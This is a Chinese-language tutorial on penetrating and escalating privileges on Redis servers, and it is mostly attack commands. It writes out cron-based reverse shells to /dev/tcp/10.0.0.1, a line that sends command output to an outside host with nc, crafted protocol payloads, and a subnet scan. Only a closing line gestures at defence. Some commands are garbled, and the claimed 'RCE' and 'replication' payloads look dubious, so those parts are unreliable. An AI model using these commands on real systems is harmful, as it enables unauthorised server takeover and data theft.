Redis雨后彩虹实战模式渗透提权(redis渗透提权)
Redis雨后彩虹:实战模式渗透提权
Redis作为一种常用的NoSQL数据库,具有高速度、高并发、高可用等特点,在Web开发中被广泛应用。然而,由于Redis在默认情况下开启了无认证的方式,并且Redis的功能非常强大,因此Redis也成为黑客攻击的重要目标。本文将通过实战模式,分享Redis渗透和提权相关的知识和技术。
一、Redis漏洞和攻击
1. Redis未授权访问漏洞
Redis未经授权访问漏洞是最容易被攻击的漏洞之一。当Redis实例监听的端口公网可访问时,如果没有设置密码,那么任何人都可以通过网络连接、直接使用redis-cli命令行等方式连接到Redis,并对其进行未授权操作。
常见的一些攻击方式如下:
(1)连接Redis进行信息泄露
“`bash
$ redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> info
(2)向Redis写入shell代码进行攻击
```bash$ redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> config set dir /var/spool/cron/OK
127.0.0.1:6379> config set dbfilename rootOK
127.0.0.1:6379> set x '*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'OK
(3)通过Redis取得服务器登录密码
“`bash
$ redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> config set dir /var/spool/cron/
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> set cmd ‘/bin/bash -c “echo `whoami`:passwd | nc 10.0.0.1 6666″‘
OK
127.0.0.1:6379> bgrewriteaof
Background append only file rewriting started
2. Redis RCE漏洞
Redis RCE漏洞是由于Redis在处理某些数据类型时,没有正确的过滤或者限制用户输入,导致用户可以通过构造特定的数据进行远程代码执行的漏洞。可以使用以下命令复现Redis RCE漏洞。
(1)构造恶意数据
```bash$ echo -e "\n\n*1\n$60000000\nuname\x20-a" | nc 127.0.0.1 6379
(2)命令执行结果被返回
3. Redis复制命令执行漏洞
Redis复制命令执行漏洞是由于Redis在处理复制数据时,没有对数据进行校验,导致攻击者可以向Redis实例中写入恶意数据,从而实现远程代码执行等攻击。可以使用以下命令复现Redis复制命令执行漏洞。
(1)构造恶意数据
“`bash
$ echo -e “*2\x0d\x0a$5\x0d\x0amaster\x0d\x0a$1073741824\x0d\x0a\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f” | nc 127.0.0.1 6379
(2)获取Redis中的数据
```bash$ echo -e "config set dir /var/spool/cron/\r\nconfig set dbfilename root\r\nsetname test\r\nCONFIG GET *\r\n"|nc 127.0.0.1 6379
二、Redis渗透和提权
1. Redis渗透
针对Redis未经授权访问漏洞,渗透方法如下:
(1)扫描目标IP是否开启Redis服务,nmap命令如下:
“`bash
$ nmap -p 6379 -sV -Pn -T4 192.168.0.1/24
(2)连接Redis进行信息泄露,例如获取Master的IP和Port:
```bash$ redis-cli -h 192.168.0.1 -p 6379
127.0.0.1:6379> info replication
(3)安装Redis Desktop Manager等Redis可视化工具,通过GUI图形界面进行未授权操作,并更加方便和快捷。
2. Redis提权
Redis提权是指攻击者通过利用Redis漏洞,提升自己的权限,以便更加深入的攻击目标系统。提权的方法有:
(1)利用Redis RCE漏洞执行命令,例如查看进程:
“`bash
127.0.0.1:6379> config set dir /var/spool/cron/
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> set cmd ‘/bin/bash -c “ps -ef”‘
OK
(2)写入定时任务,例如每隔10秒执行命令:
```bash127.0.0.1:6379> config set dir /var/spool/cron/
OK127.0.0.1:6379> config set dbfilename root
OK127.0.0.1:6379> set cmd '* * * * * sleep 10;/bin/bash -c "id > /tmp/out"'
OK
(3)利用Redis复制命令执行漏洞,向Redis实例中写入恶意数据,并让Redis主从同步,从而实现提权。
综上所述,Redis安全问题不容忽视,系统管理员需要及时修补漏洞,加强安全配置,并监测异常行为。同时,攻击者针对Redis进行渗透和提权的方法也在不断更新和迭代,需要通过不断学习和实战应对,保障系统安全。